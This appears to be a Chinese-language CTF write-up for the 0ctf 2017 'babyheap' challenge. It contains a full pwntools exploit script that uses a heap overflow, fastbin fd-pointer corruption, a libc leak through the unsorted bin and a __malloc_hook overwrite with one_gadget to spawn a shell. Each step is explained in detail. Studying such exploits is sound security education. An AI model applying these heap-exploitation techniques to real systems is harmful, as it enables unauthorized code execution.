前言
一篇题解,glibc2.23 主要是fastbins攻击的
https://www.yuque.com/hxfqg9/bin/dww8nz#EPTbD
主要参考这个师傅的
分析
题目开全了保护,因此就无法通过改got表的方式getshell
这个题相当于自己写了一个堆管理器,在填充(fill)的时候,还要求输入你要填充后过多少个字节,但是可以输入比申请的大的数,因此可以任意的进行堆溢出
先贴出自己的exp,实际上只能本地打,不知道为什么远程报超时?我看alarm函数给了60秒
from pwn import *
p=process('./babyheap_0ctf_2017')
uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) def cmd(number): ru('Command: ') sl(str(number)) def malloc(size): cmd(1) ru('Size: ') sl(str(size)) def fill(index,size,content): cmd(2) sla("Index: ",str(index)) sla("Size: ",str(size)) sla("Content: ",content) def free(index): cmd(3) sla("Index: ",str(index)) def dump(index): cmd(4) sla("Index: ",str(index)) def Exit(): cmd(5)
malloc(0x10) malloc(0x10) malloc(0x10) malloc(0x10) malloc(0x80) malloc(0x10)
free(2) free(1)
payload_change_1=b'a'*0x18+p64(0x21)+b'\x80' fill(0,len(payload_change_1),payload_change_1) payload_change_4_size=b'a'*0x18+p64(0x21) fill(3,len(payload_change_4_size),payload_change_4_size)
malloc(0x10) malloc(0x10)
payload_change_4_size=b'a'*0x18+p64(0x91) fill(3,len(payload_change_4_size),payload_change_4_size) free(4)
dump(2) ru('Content: \n') a=uu64(p.recv(6)) libc_base=a-0x74361ddc4b78+0x74361da00000 leak("libc_base",libc_base) one_gadget_addr1=0x4527a+libc_base one_gadget_addr2=0xf03a4+libc_base one_gadget_addr3=0xf1247+libc_base malloc(0x60) free(4) addr=libc_base+0x3c4aed fill(2,len(p64(addr)),p64(addr))
malloc(0x60) malloc(0x60) payload=b'a'*0x10+b'a'*3+p64(one_gadget_addr1) fill(6,len(payload),payload)
malloc(255) ti()
|
malloc函数里用的不是malloc,而是calloc
calloc主要区别在于会将申请到的内存空间清零,这也就是说没办法free之后malloc然后show
堆溢出 ===> 可以修改空闲fastbin块的fd指针
修改了空闲fastbin块fd指针之后,被指向的区域的size只要是合法的就可以,这个也可以通过堆溢出或者错位来实现
整体思路是这样的:
- 泄漏出libc基地址
- 修改malloc_hook 为one_gadget地址,实现getshell
如何泄漏出libc基地址?
假如我们可以free掉一个smallbin的堆块,此时这个堆块的fd和bk指针都指向了unsortedbin的地址,这个玩意是在main_arena结构体里面,通过这个也就可以泄漏出libc基地址
这个题来说,我们能不能实现?显然是可以的,我们可以想办法让两个堆指针指向同一个堆块,这样既能释放它也能读取或者写入它
具体实现是这样的:我们先申请几块堆
malloc(0x10) malloc(0x10) malloc(0x10) malloc(0x10) malloc(0x80) malloc(0x10)
|
然后先释放掉2,再释放掉1
这样就是 fastbin =>idx1 => idx2 => NULL
我们接下来通过idx0的堆溢出改写idx1的fd指针到idx4
然后利用idx3的堆溢出改写idx4的size,(注意要0x21),保证落到和他们一样大小的fastbin里面
free(2) free(1) payload_change_1=b'a'*0x18+p64(0x21)+b'\x80' fill(0,len(payload_change_1),payload_change_1) payload_change_4_size=b'a'*0x18+p64(0x21) fill(3,len(payload_change_4_size),payload_change_4_size)
|
再接下来就是这样了
fastbin =>idx1 => idx4
我们申请两次,那原本idx2的堆指针指向的就是idx4了
我们之后fill 2就是fill 4
之后我们需要需要让idx4释放到unsortedbin里面,这样dump 2 就会把idx4的 fd指针也就是unsortedbin地址泄漏出来,这样就能得到libc基地址
但是我们之前把idx4的size改了,因此需要改回来再释放
payload_change_4_size=b'a'*0x18+p64(0x91) fill(3,len(payload_change_4_size),payload_change_4_size) free(4)
dump(2)
|
然后就是接收地址
ru('Content: \n') a=uu64(p.recv(6)) libc_base=a-0x74361ddc4b78+0x74361da00000 leak("libc_base",libc_base) one_gadget_addr1=0x4527a+libc_base one_gadget_addr2=0xf03a4+libc_base one_gadget_addr3=0xf1247+libc_base
|
root@tgr-virtual-machine:/home/tgr/桌面/babyheap# one_gadget ./libc-2.23.so 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
|
上面是one_gadget的使用
我们现在已经完成了第一步,接下来就是第二步,修改__malloc_hook的值为onegadget的地址
首先我们得先把idx4变成fastbin,因为它只需要fd指针以及fd指向的堆块的size位合法即可
malloc(0x60) free(4) addr=libc_base+0x3c4aed fill(2,len(p64(addr)),p64(addr))
malloc(0x60) malloc(0x60) payload=b'a'*0x10+b'a'*3+p64(one_gadget_addr1) fill(6,len(payload),payload)
malloc(255)
|
我们之前释放了4,现在再malloc 0x60,它会切割原来的idx4,返回的地址还是之前的地址
然后释放它,接下来我们可以fill 2 来修改idx4的fd指针
这个地址就是通过错位来让size是合法的
之后我们申请两个堆块,这样会填充原来的idx4和新的idx6,idx6里面就有__malloc_hook
然后修改__malloc_hook为onegadget值即可,最后再malloc一次就能getshell了
学到的知识
泄漏libc的另一种方式:将非fastbin的堆块释放掉,这样就会扔进unsortedbin里面,如果能通过某种方式展示这个空闲块的fd指针,就能得到libc地址了
get_shell的另一种方式:修改malloc_hook或者free_hook的地址,即使在保护全开的程序里面也可以使用,但是前提是得泄漏libc地址
https://seanachao.github.io/2020/07/13/hook%E5%8A%AB%E6%8C%81/
如果能通过堆溢出、double free或者其他方式,来让两个堆指针指向同一个堆块,那么进行之后的操作将会方便非常多